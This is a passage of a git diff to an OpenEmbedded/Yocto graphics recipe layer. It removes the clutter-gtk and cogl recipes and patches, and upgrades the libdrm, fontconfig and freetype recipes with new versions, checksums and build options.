-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-
-DEPENDS = "clutter-1.0 gtk+3"
-PACKAGES =+ "${PN}-examples"
-
-GTKDOC_MESON_OPTION = "enable_docs"
-
-GIR_MESON_OPTION = 'enable_gi'
diff --git a/meta/recipes-graphics/clutter/clutter-gtk-1.0/0001-Add-a-config-variable-for-enabling-disabling-introsp.patch b/meta/recipes-graphics/clutter/clutter-gtk-1.0/0001-Add-a-config-variable-for-enabling-disabling-introsp.patch
deleted file mode 100644
index e21c6fd903..0000000000
--- a/meta/recipes-graphics/clutter/clutter-gtk-1.0/0001-Add-a-config-variable-for-enabling-disabling-introsp.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 7233883c6bd4e80c0e91b29b5c76fe798023e9fe Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 11 Feb 2019 16:41:13 +0100
-Subject: [PATCH] Add a config variable for enabling/disabling introspection
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- clutter-gtk/meson.build | 2 +-
- meson_options.txt | 4 ++++
- 2 files changed, 5 insertions(+), 1 deletion(-)
-
-diff --git a/clutter-gtk/meson.build b/clutter-gtk/meson.build
-index 5d6847d..5d934b6 100644
---- a/clutter-gtk/meson.build
-+++ b/clutter-gtk/meson.build
-@@ -49,7 +49,7 @@ clutter_gtk_dep = declare_dependency(link_with: clutter_gtk,
- dependencies: [ mathlib_dep, clutter_dep, gtk_dep ],
- include_directories: include_directories('.'))
-
--if not meson.is_cross_build()
-+if get_option('enable_gi')
- gnome.generate_gir(clutter_gtk,
- sources: clutter_gtk_headers + clutter_gtk_sources,
- namespace: 'GtkClutter',
-diff --git a/meson_options.txt b/meson_options.txt
-index aaf59f1..b7e51c3 100644
---- a/meson_options.txt
-+++ b/meson_options.txt
-@@ -2,3 +2,7 @@ option('enable_docs',
- type: 'boolean',
- value: false,
- description: 'Enable generating the API reference (depends on GTK-Doc)')
-+option('enable_gi',
-+ type: 'boolean',
-+ value: false,
-+ description: 'Enable gobject introspection')
diff --git a/meta/recipes-graphics/clutter/clutter-gtk-1.0_1.8.4.bb b/meta/recipes-graphics/clutter/clutter-gtk-1.0_1.8.4.bb
deleted file mode 100644
index 53948c8944..0000000000
--- a/meta/recipes-graphics/clutter/clutter-gtk-1.0_1.8.4.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require clutter-gtk-1.0.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
-
-SRC_URI += " file://0001-Add-a-config-variable-for-enabling-disabling-introsp.patch"
-SRC_URI[archive.md5sum] = "b363ac9878e2337be887b8ee9e1da00e"
-SRC_URI[archive.sha256sum] = "521493ec038973c77edcb8bc5eac23eed41645117894aaee7300b2487cb42b06"
diff --git a/meta/recipes-graphics/cogl/cogl-1.0.inc b/meta/recipes-graphics/cogl/cogl-1.0.inc
deleted file mode 100644
index d581ad1c04..0000000000
--- a/meta/recipes-graphics/cogl/cogl-1.0.inc
+++ /dev/null
@@ -1,84 +0,0 @@
-SUMMARY = "Modern 3D graphics API with associated utility APIs"
-DESCRIPTION = "Cogl is a small open source library for using 3D graphics \
-hardware for rendering. The API departs from the flat state machine style of \
-OpenGL and is designed to make it easy to write orthogonal components that \
-can render without stepping on each others toes."
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/cogl"
-LICENSE = "MIT"
-
-inherit clutter features_check upstream-version-is-even gobject-introspection
-# cogl-1.0 needs opengl to build
-REQUIRED_DISTRO_FEATURES ?= "opengl"
-
-DEPENDS = "glib-2.0 gdk-pixbuf"
-PACKAGES =+ "${PN}-examples \
- libcogl libcogl-gles2 libcogl-pango libcogl-path \
- "
-AUTOTOOLS_AUXDIR = "${S}/build"
-
-# Extra DEPENDS for PACKAGECONFIG
-EDEPENDS_GL = "virtual/libgl libdrm"
-EDEPENDS_GLES2 = "virtual/libgles2"
-EDEPENDS_KMS = "libdrm virtual/egl"
-EDEPENDS_EGL = "virtual/egl"
-EDEPENDS_X11 = "virtual/libx11 libxcomposite libxdamage libxfixes libxrandr"
-EDEPENDS_WAYLAND = "virtual/egl virtual/libgles2 wayland"
-
-# Extra RDEPENDS for PACKAGECONFIG
-# This has to be explictly listed, because cogl dlopens the backends
-ERDEPENDS_GL = "libgl"
-ERDEPENDS_GLES2 = "libgles2"
-
-# GLESv1 is rarely tested, so disable it
-EXTRA_OECONF += "--enable-examples-install \
- --enable-debug \
- --disable-gles1 \
- --disable-cairo \
- "
-DEBUG_OPTIMIZATION_append = " -Wno-error=maybe-uninitialized"
-
-# OpenGL/GLX
-PACKAGECONFIG[glx] = "--enable-gl --enable-glx,--disable-gl --disable-glx,${EDEPENDS_GL} ${EDEPENDS_X11},${ERDEPENDS_GL}"
-
-# GLESv2
-PACKAGECONFIG[gles2] = "--enable-gles2,--disable-gles2,${EDEPENDS_GLES2}, ${ERDEPENDS_GLES2}"
-
-# EGL backends
-PACKAGECONFIG[egl-kms] = "--enable-kms-egl-platform,--disable-kms-egl-platform,${EDEPENDS_KMS}"
-PACKAGECONFIG[egl-null] = "--enable-null-egl-platform,--disable-null-egl-platform"
-PACKAGECONFIG[egl-x11] = "--enable-xlib-egl-platform,--disable-xlib-egl-platform,${EDEPENDS_X11} ${EDEPENDS_EGL}"
-PACKAGECONFIG[egl-wayland] = "--enable-wayland-egl-platform,--disable-wayland-egl-platform,${EDEPENDS_WAYLAND}"
-
-# Wayland (server-side)
-PACKAGECONFIG[wayland-server] = "--enable-wayland-egl-server,--disable-wayland-egl-server,${EDEPENDS_WAYLAND}"
-
-# Support rendering text directly with Pango
-PACKAGECONFIG[cogl-pango] = "--enable-cogl-pango,--disable-cogl-pango,pango"
-
-# Respect the DISTRO_FEATURES to pull in GLX or Wayland as appropriate by
-# default.
-PACKAGECONFIG ??= "cogl-pango gles2 \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'egl-wayland', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'glx egl-x11', '', d)} \
- "
-
-do_compile_prepend() {
- export GIR_EXTRA_LIBS_PATH="${B}/cogl/.libs"
-}
-
-FILES_${PN} = ""
-FILES_${PN}-examples = "${bindir}/* ${datadir}/cogl/examples-data/*"
-FILES_libcogl = "${libdir}/libcogl${SOLIBS} ${libdir}/girepository-1.0/Cogl-*.typelib"
-FILES_libcogl-gles2 = "${libdir}/libcogl-gles2${SOLIBS}"
-FILES_libcogl-pango = "${libdir}/libcogl-pango${SOLIBS} ${libdir}/girepository-1.0/CoglPango*.typelib"
-
-FILES_libcogl-path = "${libdir}/libcogl-path${SOLIBS}"
-
-# For backwards compatibility after Debian-renaming
-RPROVIDES_libcogl = "cogl-1.0"
-RCONFLICTS_libcogl = "cogl-1.0"
-RREPLACES_libcogl = "cogl-1.0"
-
-RDEPENDS_${PN}-dev = "libcogl"
-
-COMPATIBLE_HOST_armv4 = 'null'
diff --git a/meta/recipes-graphics/cogl/cogl-1.0/0001-configure.ac-don-t-require-eglmesaext.h.patch b/meta/recipes-graphics/cogl/cogl-1.0/0001-configure.ac-don-t-require-eglmesaext.h.patch
deleted file mode 100644
index 328984a63f..0000000000
--- a/meta/recipes-graphics/cogl/cogl-1.0/0001-configure.ac-don-t-require-eglmesaext.h.patch
+++ /dev/null
@@ -1,92 +0,0 @@
-From bb9765a926588ebfe1eb324fbbe8fc22d419eebe Mon Sep 17 00:00:00 2001
-From: Max Krummenacher <max.krummenacher@toradex.com>
-Date: Thu, 25 Jun 2020 11:27:40 +0000
-Subject: [PATCH] configure.ac: don't require eglmesaext.h
-
-E.g. the Vivante EGL implementation does not provide eglmesaext.h.
-
-The commit moves the check for header file existence outside of the
-check for existence of a egl packageconfig and makes the existence
-of eglmesaext.h optional.
-
-fixes commit fb1acfec ("Fix building against libglvnd-provided EGL headers")
-Signed-off-by: Max Krummenacher <max.krummenacher@toradex.com>
-
-Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/cogl/-/merge_requests/28]
-Signed-off-by: Max Krummenacher <max.krummenacher@toradex.com>
----
- configure.ac | 51 ++++++++++++++++++++++++++++++++-------------------
- 1 file changed, 32 insertions(+), 19 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index b7ba95d..0d1d8de 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -1212,22 +1212,6 @@ AS_IF([test "x$NEED_EGL" = "xyes" && test "x$EGL_CHECKED" != "xyes"],
- PKG_CHECK_EXISTS([egl],
- [COGL_PKG_REQUIRES="$COGL_PKG_REQUIRES egl"],
- [
-- AC_CHECK_HEADERS(
-- [EGL/egl.h],
-- [],
-- [AC_MSG_ERROR([Unable to locate required EGL headers])])
-- AC_CHECK_HEADERS(
-- [EGL/eglext.h],
-- [],
-- [AC_MSG_ERROR([Unable to locate required EGL headers])],
-- [#include <EGL/egl.h>])
-- AC_CHECK_HEADERS(
-- [EGL/eglmesaext.h],
-- [],
-- [AC_MSG_ERROR([Unable to locate required EGL headers])],
-- [#include <EGL/egl.h>
--#include <EGL/eglext.h>])
--
- AC_CHECK_LIB(EGL, [eglInitialize],
- [COGL_EXTRA_LDFLAGS="$COGL_EXTRA_LDFLAGS -lEGL"],
- [AC_MSG_ERROR([Unable to locate required EGL library])])
-@@ -1236,9 +1220,38 @@ AS_IF([test "x$NEED_EGL" = "xyes" && test "x$EGL_CHECKED" != "xyes"],
- ]
- )
-
-- COGL_EGL_INCLUDES="#include <EGL/egl.h>
--#include <EGL/eglext.h>
--#include <EGL/eglmesaext.h>"
-+dnl Test for the existence of egl headers.
-+dnl egl*.h includes eglplatform.h which on __unix__ defaults to a X11 platform.
-+dnl In that case AC_CHECK_HEADERS failes if X11 headers are not available.
-+dnl Set the usual include guard define and, if the EGL implementation doesn't
-+dnl use that guard fall back to USE_OZONE and EGL_NO_X11 platforms which don't
-+dnl require additional headers.
-+ AC_CHECK_HEADERS(
-+ [EGL/egl.h],
-+ [COGL_EGL_INCLUDES="#include <EGL/egl.h>"],
-+ [AC_MSG_ERROR([Unable to locate required EGL headers])],
-+ [#define __egl_h_
-+ #define USE_OZONE
-+ #define EGL_NO_X11])
-+ AC_CHECK_HEADERS(
-+ [EGL/eglext.h],
-+ [COGL_EGL_INCLUDES="$COGL_EGL_INCLUDES
-+#include <EGL/eglext.h>"],
-+ [AC_MSG_ERROR([Unable to locate required EGL headers])],
-+ [#define __eglext_h_
-+ #define USE_OZONE
-+ #define EGL_NO_X11
-+$COGL_EGL_INCLUDES])
-+ AC_CHECK_HEADERS(
-+ [EGL/eglmesaext.h],
-+ [COGL_EGL_INCLUDES="$COGL_EGL_INCLUDES
-+#include <EGL/eglmesaext.h>"],
-+ [],
-+ [#define __eglmesaext_h_
-+#define USE_OZONE
-+#define EGL_NO_X11
-+$COGL_EGL_INCLUDES])
-+
- AC_SUBST([COGL_EGL_INCLUDES])
- ])
-
---
-2.20.1
-
diff --git a/meta/recipes-graphics/cogl/cogl-1.0_1.22.8.bb b/meta/recipes-graphics/cogl/cogl-1.0_1.22.8.bb
deleted file mode 100644
index b9446fab38..0000000000
--- a/meta/recipes-graphics/cogl/cogl-1.0_1.22.8.bb
+++ /dev/null
@@ -1,6 +0,0 @@
-require cogl-1.0.inc
-
-SRC_URI += "file://0001-configure.ac-don-t-require-eglmesaext.h.patch"
-SRC_URI[archive.sha256sum] = "a805b2b019184710ff53d0496f9f0ce6dcca420c141a0f4f6fcc02131581d759"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=1b1a508d91d25ca607c83f92f3e31c84"
diff --git a/meta/recipes-graphics/drm/libdrm_2.4.102.bb b/meta/recipes-graphics/drm/libdrm_2.4.102.bb
deleted file mode 100644
index fb9a94207f..0000000000
--- a/meta/recipes-graphics/drm/libdrm_2.4.102.bb
+++ /dev/null
@@ -1,58 +0,0 @@
-SUMMARY = "Userspace interface to the kernel DRM services"
-DESCRIPTION = "The runtime library for accessing the kernel DRM services. DRM \
-stands for \"Direct Rendering Manager\", which is the kernel portion of the \
-\"Direct Rendering Infrastructure\" (DRI). DRI is required for many hardware \
-accelerated OpenGL drivers."
-HOMEPAGE = "http://dri.freedesktop.org"
-SECTION = "x11/base"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://xf86drm.c;beginline=9;endline=32;md5=c8a3b961af7667c530816761e949dc71"
-PROVIDES = "drm"
-DEPENDS = "libpthread-stubs"
-
-SRC_URI = "http://dri.freedesktop.org/libdrm/${BP}.tar.xz"
-SRC_URI[sha256sum] = "8bcbf9336c28e393d76c1f16d7e79e394a7fce8a2e929d52d3ad7ad8525ba05b"
-
-inherit meson pkgconfig manpages
-
-PACKAGECONFIG ??= "libkms intel radeon amdgpu nouveau vmwgfx omap freedreno vc4 etnaviv install-test-programs"
-PACKAGECONFIG[libkms] = "-Dlibkms=true,-Dlibkms=false"
-PACKAGECONFIG[intel] = "-Dintel=true,-Dintel=false,libpciaccess"
-PACKAGECONFIG[radeon] = "-Dradeon=true,-Dradeon=false"
-PACKAGECONFIG[amdgpu] = "-Damdgpu=true,-Damdgpu=false"
-PACKAGECONFIG[nouveau] = "-Dnouveau=true,-Dnouveau=false"
-PACKAGECONFIG[vmwgfx] = "-Dvmwgfx=true,-Dvmwgfx=false"
-PACKAGECONFIG[omap] = "-Domap=true,-Domap=false"
-PACKAGECONFIG[exynos] = "-Dexynos=true,-Dexynos=false"
-PACKAGECONFIG[freedreno] = "-Dfreedreno=true,-Dfreedreno=false"
-PACKAGECONFIG[tegra] = "-Dtegra=true,-Dtegra=false"
-PACKAGECONFIG[vc4] = "-Dvc4=true,-Dvc4=false"
-PACKAGECONFIG[etnaviv] = "-Detnaviv=true,-Detnaviv=false"
-PACKAGECONFIG[freedreno-kgsl] = "-Dfreedreno-kgsl=true,-Dfreedreno-kgsl=false"
-PACKAGECONFIG[valgrind] = "-Dvalgrind=true,-Dvalgrind=false,valgrind"
-PACKAGECONFIG[install-test-programs] = "-Dinstall-test-programs=true,-Dinstall-test-programs=false"
-PACKAGECONFIG[cairo-tests] = "-Dcairo-tests=true,-Dcairo-tests=false"
-PACKAGECONFIG[udev] = "-Dudev=true,-Dudev=false,udev"
-PACKAGECONFIG[manpages] = "-Dman-pages=true,-Dman-pages=false,libxslt-native xmlto-native"
-
-ALLOW_EMPTY_${PN}-drivers = "1"
-PACKAGES =+ "${PN}-tests ${PN}-drivers ${PN}-radeon ${PN}-nouveau ${PN}-omap \
- ${PN}-intel ${PN}-exynos ${PN}-kms ${PN}-freedreno ${PN}-amdgpu \
- ${PN}-etnaviv"
-
-RRECOMMENDS_${PN}-drivers = "${PN}-radeon ${PN}-nouveau ${PN}-omap ${PN}-intel \
- ${PN}-exynos ${PN}-freedreno ${PN}-amdgpu \
- ${PN}-etnaviv"
-
-FILES_${PN}-tests = "${bindir}/*"
-FILES_${PN}-radeon = "${libdir}/libdrm_radeon.so.*"
-FILES_${PN}-nouveau = "${libdir}/libdrm_nouveau.so.*"
-FILES_${PN}-omap = "${libdir}/libdrm_omap.so.*"
-FILES_${PN}-intel = "${libdir}/libdrm_intel.so.*"
-FILES_${PN}-exynos = "${libdir}/libdrm_exynos.so.*"
-FILES_${PN}-kms = "${libdir}/libkms*.so.*"
-FILES_${PN}-freedreno = "${libdir}/libdrm_freedreno.so.*"
-FILES_${PN}-amdgpu = "${libdir}/libdrm_amdgpu.so.* ${datadir}/${PN}/amdgpu.ids"
-FILES_${PN}-etnaviv = "${libdir}/libdrm_etnaviv.so.*"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/drm/libdrm_2.4.120.bb b/meta/recipes-graphics/drm/libdrm_2.4.120.bb
new file mode 100644
index 0000000000..18b3256843
--- /dev/null
+++ b/meta/recipes-graphics/drm/libdrm_2.4.120.bb
@@ -0,0 +1,59 @@
+SUMMARY = "Userspace interface to the kernel DRM services"
+DESCRIPTION = "The runtime library for accessing the kernel DRM services. DRM \
+stands for \"Direct Rendering Manager\", which is the kernel portion of the \
+\"Direct Rendering Infrastructure\" (DRI). DRI is required for many hardware \
+accelerated OpenGL drivers."
+HOMEPAGE = "http://dri.freedesktop.org"
+SECTION = "x11/base"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://xf86drm.c;beginline=9;endline=32;md5=c8a3b961af7667c530816761e949dc71"
+PROVIDES = "drm"
+DEPENDS = "libpthread-stubs"
+
+SRC_URI = "http://dri.freedesktop.org/libdrm/${BP}.tar.xz \
+ "
+
+SRC_URI[sha256sum] = "3bf55363f76c7250946441ab51d3a6cc0ae518055c0ff017324ab76cdefb327a"
+
+inherit meson pkgconfig manpages
+
+PACKAGECONFIG ??= "intel radeon amdgpu nouveau vmwgfx omap freedreno vc4 etnaviv tests install-test-programs"
+PACKAGECONFIG[intel] = "-Dintel=enabled,-Dintel=disabled,libpciaccess"
+PACKAGECONFIG[radeon] = "-Dradeon=enabled,-Dradeon=disabled"
+PACKAGECONFIG[amdgpu] = "-Damdgpu=enabled,-Damdgpu=disabled"
+PACKAGECONFIG[nouveau] = "-Dnouveau=enabled,-Dnouveau=disabled"
+PACKAGECONFIG[vmwgfx] = "-Dvmwgfx=enabled,-Dvmwgfx=disabled"
+PACKAGECONFIG[omap] = "-Domap=enabled,-Domap=disabled"
+PACKAGECONFIG[exynos] = "-Dexynos=enabled,-Dexynos=disabled"
+PACKAGECONFIG[freedreno] = "-Dfreedreno=enabled,-Dfreedreno=disabled"
+PACKAGECONFIG[tegra] = "-Dtegra=enabled,-Dtegra=disabled"
+PACKAGECONFIG[vc4] = "-Dvc4=enabled,-Dvc4=disabled"
+PACKAGECONFIG[etnaviv] = "-Detnaviv=enabled,-Detnaviv=disabled"
+PACKAGECONFIG[freedreno-kgsl] = "-Dfreedreno-kgsl=true,-Dfreedreno-kgsl=false"
+PACKAGECONFIG[valgrind] = "-Dvalgrind=enabled,-Dvalgrind=disabled,valgrind"
+PACKAGECONFIG[install-test-programs] = "-Dinstall-test-programs=true,-Dinstall-test-programs=false"
+PACKAGECONFIG[cairo-tests] = "-Dcairo-tests=enabled,-Dcairo-tests=disabled"
+PACKAGECONFIG[tests] = "-Dtests=true,-Dtests=false"
+PACKAGECONFIG[udev] = "-Dudev=true,-Dudev=false,udev"
+PACKAGECONFIG[manpages] = "-Dman-pages=enabled,-Dman-pages=disabled,libxslt-native xmlto-native python3-docutils-native"
+
+ALLOW_EMPTY:${PN}-drivers = "1"
+PACKAGES =+ "${PN}-tests ${PN}-drivers ${PN}-radeon ${PN}-nouveau ${PN}-omap \
+ ${PN}-intel ${PN}-exynos ${PN}-freedreno ${PN}-amdgpu \
+ ${PN}-etnaviv"
+
+RRECOMMENDS:${PN}-drivers = "${PN}-radeon ${PN}-nouveau ${PN}-omap ${PN}-intel \
+ ${PN}-exynos ${PN}-freedreno ${PN}-amdgpu \
+ ${PN}-etnaviv"
+
+FILES:${PN}-tests = "${bindir}/*"
+FILES:${PN}-radeon = "${libdir}/libdrm_radeon.so.*"
+FILES:${PN}-nouveau = "${libdir}/libdrm_nouveau.so.*"
+FILES:${PN}-omap = "${libdir}/libdrm_omap.so.*"
+FILES:${PN}-intel = "${libdir}/libdrm_intel.so.*"
+FILES:${PN}-exynos = "${libdir}/libdrm_exynos.so.*"
+FILES:${PN}-freedreno = "${libdir}/libdrm_freedreno.so.*"
+FILES:${PN}-amdgpu = "${libdir}/libdrm_amdgpu.so.* ${datadir}/${PN}/amdgpu.ids"
+FILES:${PN}-etnaviv = "${libdir}/libdrm_etnaviv.so.*"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/fontconfig/fontconfig_2.13.1.bb b/meta/recipes-graphics/fontconfig/fontconfig_2.13.1.bb
deleted file mode 100644
index d0da419ce0..0000000000
--- a/meta/recipes-graphics/fontconfig/fontconfig_2.13.1.bb
+++ /dev/null
@@ -1,70 +0,0 @@
-SUMMARY = "Generic font configuration library"
-DESCRIPTION = "Fontconfig is a font configuration and customization library, which \
-does not depend on the X Window System. It is designed to locate \
-fonts within the system and select them according to requirements \
-specified by applications. \
-Fontconfig is not a rasterization library, nor does it impose a \
-particular rasterization library on the application. The X-specific \
-library 'Xft' uses fontconfig along with freetype to specify and \
-rasterize fonts."
-
-HOMEPAGE = "http://www.fontconfig.org"
-BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=fontconfig"
-
-LICENSE = "MIT-style & MIT & PD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=7a0449e9bc5370402a94c00204beca3d \
- file://src/fcfreetype.c;endline=45;md5=5d9513e3196a1fbfdfa94051c09dfc84 \
- file://src/fccache.c;beginline=1671;endline=1686;md5=0326cfeb4a7333dd4dd25fbbc4b9f27f"
-
-SECTION = "libs"
-
-DEPENDS = "expat freetype zlib gperf-native util-linux"
-
-SRC_URI = "http://fontconfig.org/release/fontconfig-${PV}.tar.gz \
- file://revert-static-pkgconfig.patch \
- "
-
-SRC_URI[md5sum] = "690c6cb840a92fa8908cdf462d19ec66"
-SRC_URI[sha256sum] = "9f0d852b39d75fc655f9f53850eb32555394f36104a044bb2b2fc9e66dbbfa7f"
-
-UPSTREAM_CHECK_REGEX = "fontconfig-(?P<pver>\d+\.\d+\.(?!9\d+)\d+)"
-
-do_configure_prepend() {
- # work around https://bugs.freedesktop.org/show_bug.cgi?id=101280
- rm -f ${S}/src/fcobjshash.h ${S}/src/fcobjshash.gperf
-}
-
-do_install_append_class-target() {
- # duplicate fc-cache for postinstall script
- mkdir -p ${D}${libexecdir}
- ln ${D}${bindir}/fc-cache ${D}${libexecdir}/${MLPREFIX}fc-cache
-}
-
-do_install_append_class-nativesdk() {
- # duplicate fc-cache for postinstall script
- mkdir -p ${D}${libexecdir}
- ln ${D}${bindir}/fc-cache ${D}${libexecdir}/${MLPREFIX}fc-cache
-}
-
-PACKAGES =+ "fontconfig-utils"
-FILES_${PN} =+ "${datadir}/xml/*"
-FILES_${PN}-dev += "${datadir}/gettext/*"
-FILES_fontconfig-utils = "${bindir}/* ${libexecdir}/*"
-
-# Work around past breakage in debian.bbclass
-RPROVIDES_fontconfig-utils = "libfontconfig-utils"
-RREPLACES_fontconfig-utils = "libfontconfig-utils"
-RCONFLICTS_fontconfig-utils = "libfontconfig-utils"
-DEBIAN_NOAUTONAME_fontconfig-utils = "1"
-
-inherit autotools pkgconfig relative_symlinks gettext
-
-FONTCONFIG_CACHE_DIR ?= "${localstatedir}/cache/fontconfig"
-
-# comma separated list of additional directories
-# /usr/share/fonts is already included by default (you can change it with --with-default-fonts)
-FONTCONFIG_FONT_DIRS ?= "no"
-
-EXTRA_OECONF = " --disable-docs --with-default-fonts=${datadir}/fonts --with-cache-dir=${FONTCONFIG_CACHE_DIR} --with-add-fonts=${FONTCONFIG_FONT_DIRS}"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/fontconfig/fontconfig_2.15.0.bb b/meta/recipes-graphics/fontconfig/fontconfig_2.15.0.bb
new file mode 100644
index 0000000000..b737447e47
--- /dev/null
+++ b/meta/recipes-graphics/fontconfig/fontconfig_2.15.0.bb
@@ -0,0 +1,69 @@
+SUMMARY = "Generic font configuration library"
+DESCRIPTION = "Fontconfig is a font configuration and customization library, which \
+does not depend on the X Window System. It is designed to locate \
+fonts within the system and select them according to requirements \
+specified by applications. \
+Fontconfig is not a rasterization library, nor does it impose a \
+particular rasterization library on the application. The X-specific \
+library 'Xft' uses fontconfig along with freetype to specify and \
+rasterize fonts."
+
+HOMEPAGE = "http://www.fontconfig.org"
+BUGTRACKER = "https://bugs.freedesktop.org/enter_bug.cgi?product=fontconfig"
+
+LICENSE = "MIT & MIT & PD"
+LIC_FILES_CHKSUM = "file://COPYING;md5=00252fd272bf2e722925613ad74cb6c7 \
+ file://src/fcfreetype.c;endline=45;md5=ef8702fbf3dc506715be8a9d69cb0252 \
+ "
+
+SECTION = "libs"
+
+DEPENDS = "expat freetype zlib gperf-native util-linux"
+
+SRC_URI = "http://fontconfig.org/release/fontconfig-${PV}.tar.gz \
+ file://revert-static-pkgconfig.patch \
+ "
+
+SRC_URI[sha256sum] = "f5f359d6332861bd497570848fcb42520964a9e83d5e3abe397b6b6db9bcaaf4"
+
+UPSTREAM_CHECK_REGEX = "fontconfig-(?P<pver>\d+\.\d+\.(?!9\d+)\d+)"
+
+do_configure:prepend() {
+ # work around https://bugs.freedesktop.org/show_bug.cgi?id=101280
+ rm -f ${S}/src/fcobjshash.h ${S}/src/fcobjshash.gperf
+}
+
+do_install:append:class-target() {
+ # duplicate fc-cache for postinstall script
+ mkdir -p ${D}${libexecdir}
+ ln ${D}${bindir}/fc-cache ${D}${libexecdir}/${MLPREFIX}fc-cache
+}
+
+do_install:append:class-nativesdk() {
+ # duplicate fc-cache for postinstall script
+ mkdir -p ${D}${libexecdir}
+ ln ${D}${bindir}/fc-cache ${D}${libexecdir}/${MLPREFIX}fc-cache
+}
+
+PACKAGES =+ "fontconfig-utils"
+FILES:${PN} =+ "${datadir}/xml/*"
+FILES:${PN}-dev += "${datadir}/gettext/*"
+FILES:fontconfig-utils = "${bindir}/* ${libexecdir}/*"
+
+# Work around past breakage in debian.bbclass
+RPROVIDES:fontconfig-utils = "libfontconfig-utils"
+RREPLACES:fontconfig-utils = "libfontconfig-utils"
+RCONFLICTS:fontconfig-utils = "libfontconfig-utils"
+DEBIAN_NOAUTONAME:fontconfig-utils = "1"
+
+inherit autotools pkgconfig relative_symlinks gettext
+
+FONTCONFIG_CACHE_DIR ?= "${localstatedir}/cache/fontconfig"
+
+# comma separated list of additional directories
+# /usr/share/fonts is already included by default (you can change it with --with-default-fonts)
+FONTCONFIG_FONT_DIRS ?= "no"
+
+EXTRA_OECONF = " --disable-docs --with-default-fonts=${datadir}/fonts --with-cache-dir=${FONTCONFIG_CACHE_DIR} --with-add-fonts=${FONTCONFIG_FONT_DIRS}"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/freetype/freetype/use-right-libtool.patch b/meta/recipes-graphics/freetype/freetype/use-right-libtool.patch
deleted file mode 100644
index 3368f7ddd3..0000000000
--- a/meta/recipes-graphics/freetype/freetype/use-right-libtool.patch
+++ /dev/null
@@ -1,14 +0,0 @@
-Freetype think that it knows best about where libtool is, and explicitly the
-libtool autoconf macros telling it where to find the libtool script. Of course
-we prefix the script with the target triplet, so it's wrong. Fix this by
-removing the forced assignment, so the configure script's knowledge of where it
-put libtool is used.
-
-Upstream-Status: Pending
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
---- freetype-2.6/builds/unix/unix-cc.in.orig 2016-01-07 19:21:45.244943479 +0000
-+++ freetype-2.6/builds/unix/unix-cc.in 2016-01-07 19:21:50.213112131 +0000
-@@ -19,1 +18,1 @@
--LIBTOOL := $(FT_LIBTOOL_DIR)/libtool
-+LIBTOOL := $(FT_LIBTOOL_DIR)/@LIBTOOL@ --tag CC
diff --git a/meta/recipes-graphics/freetype/freetype_2.10.2.bb b/meta/recipes-graphics/freetype/freetype_2.10.2.bb
deleted file mode 100644
index 1034ddc0d7..0000000000
--- a/meta/recipes-graphics/freetype/freetype_2.10.2.bb
+++ /dev/null
@@ -1,47 +0,0 @@
-SUMMARY = "Freetype font rendering library"
-DESCRIPTION = "FreeType is a software font engine that is designed to be small, efficient, \
-highly customizable, and portable while capable of producing high-quality output (glyph \
-images). It can be used in graphics libraries, display servers, font conversion tools, text \
-image generation tools, and many other products as well."
-HOMEPAGE = "http://www.freetype.org/"
-BUGTRACKER = "https://savannah.nongnu.org/bugs/?group=freetype"
-SECTION = "libs"
-
-LICENSE = "FreeType | GPLv2+"
-LIC_FILES_CHKSUM = "file://docs/LICENSE.TXT;md5=4af6221506f202774ef74f64932878a1 \
- file://docs/FTL.TXT;md5=9f37b4e6afa3fef9dba8932b16bd3f97 \
- file://docs/GPLv2.TXT;md5=8ef380476f642c20ebf40fecb0add2ec"
-
-SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/${BPN}/${BP}.tar.xz \
- file://use-right-libtool.patch \
- "
-SRC_URI[md5sum] = "7c0d5a39f232d7eb9f9d7da76bf08074"
-SRC_URI[sha256sum] = "1543d61025d2e6312e0a1c563652555f17378a204a61e99928c9fcef030a2d8b"
-
-UPSTREAM_CHECK_REGEX = "freetype-(?P<pver>\d+(\.\d+)+)"
-
-inherit autotools pkgconfig multilib_header
-
-# Adapt autotools to work with the minimal autoconf usage in freetype
-AUTOTOOLS_SCRIPT_PATH = "${S}/builds/unix"
-CONFIGURE_SCRIPT = "${S}/configure"
-EXTRA_AUTORECONF += "--exclude=autoheader --exclude=automake"
-
-PACKAGECONFIG ??= "zlib pixmap"
-
-PACKAGECONFIG[bzip2] = "--with-bzip2,--without-bzip2,bzip2"
-# harfbuzz results in a circular dependency so enabling is non-trivial
-PACKAGECONFIG[harfbuzz] = "--with-harfbuzz,--without-harfbuzz,harfbuzz"
-PACKAGECONFIG[pixmap] = "--with-png,--without-png,libpng"
-PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib"
-PACKAGECONFIG[freetypeconfig] = "--enable-freetype-config=yes,--enable-freetype-config=no,"
-
-EXTRA_OECONF = "CC_BUILD='${BUILD_CC}'"
-
-TARGET_CPPFLAGS += "-D_FILE_OFFSET_BITS=64"
-
-do_install_append() {
- oe_multilib_header freetype2/freetype/config/ftconfig.h
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/freetype/freetype_2.13.2.bb b/meta/recipes-graphics/freetype/freetype_2.13.2.bb
new file mode 100644
index 0000000000..4e7a0ad160
